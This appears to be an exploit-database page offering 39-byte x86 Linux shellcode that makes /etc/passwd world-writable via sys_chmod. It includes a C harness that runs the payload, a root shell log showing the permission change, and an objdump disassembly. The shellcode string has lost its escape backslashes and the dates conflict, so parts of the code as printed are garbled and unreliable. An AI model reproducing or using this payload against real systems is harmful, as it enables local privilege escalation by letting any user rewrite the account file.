[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : change mode 0777 of "/etc/passwd" with sys_chmod syscall
# Published : 2010-05-31
# Author : gunslinger_
# Previous Title : kill all running process x86/linux
# Next Title : 45 bytes sys_execve("/bin/sh", "-c", "reboot") x86 linux shellcode


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / __  /'__`                   0
0  /_,     ___   /_/_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/__<_  /'___  /    /`'__          0
0       / /    /   / __/  _  _   /           1
1       _ _ __   ____/ ____\ __\ ____/ _           0
0       /_//_//_/ _ /___/  /____/ /__/ /___/  /_/           1
1                   ____/ >> Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
Title  : change mode 0777 of "/etc/passwd" with sys_chmod syscall
Name   : 39 bytes sys_chmod("/etc/passwd",599) x86 linux shellcode
Date   : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/

/*
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# gcc -o chmod chmod.c
chmod.c: In function ¡®main¡¯:
chmod.c:37: warning: incompatible implicit declaration of built-in function ¡®strlen¡¯
root@localhost:/home/gunslinger/shellcode# ./chmod
Length: 39
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# chmod 644 /etc/passwd
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# objdump -d chmod

chmod:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:	eb 15                	jmp    0x8048077
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	b0 0f                	mov    $0xf,%al
 8048066:	5b                   	pop    %ebx
 8048067:	31 c9                	xor    %ecx,%ecx
 8048069:	66 b9 ff 01          	mov    $0x1ff,%cx
 804806d:	cd 80                	int    $0x80
 804806f:	31 c0                	xor    %eax,%eax
 8048071:	b0 01                	mov    $0x1,%al
 8048073:	31 db                	xor    %ebx,%ebx
 8048075:	cd 80                	int    $0x80
 8048077:	e8 e6 ff ff ff       	call   0x8048062
 804807c:	2f                   	das    
 804807d:	65                   	gs
 804807e:	74 63                	je     0x80480e3
 8048080:	2f                   	das    
 8048081:	70 61                	jo     0x80480e4
 8048083:	73 73                	jae    0x80480f8
 8048085:	77 64                	ja     0x80480eb
root@localhost:/home/gunslinger/shellcode#
*/

#include <stdio.h>

char sc[] = "xebx15x31xc0xb0x0fx5bx31xc9x66xb9xffx01xcdx80x31xc0xb0x01x31xdbxcdx80xe8xe6xffxffxffx2fx65x74x63x2fx70x61x73x73x77x64";

int main(void)
{
       	fprintf(stdout,"Length: %dn",strlen(sc));
	(*(void(*)()) sc)();
     
return 0;
}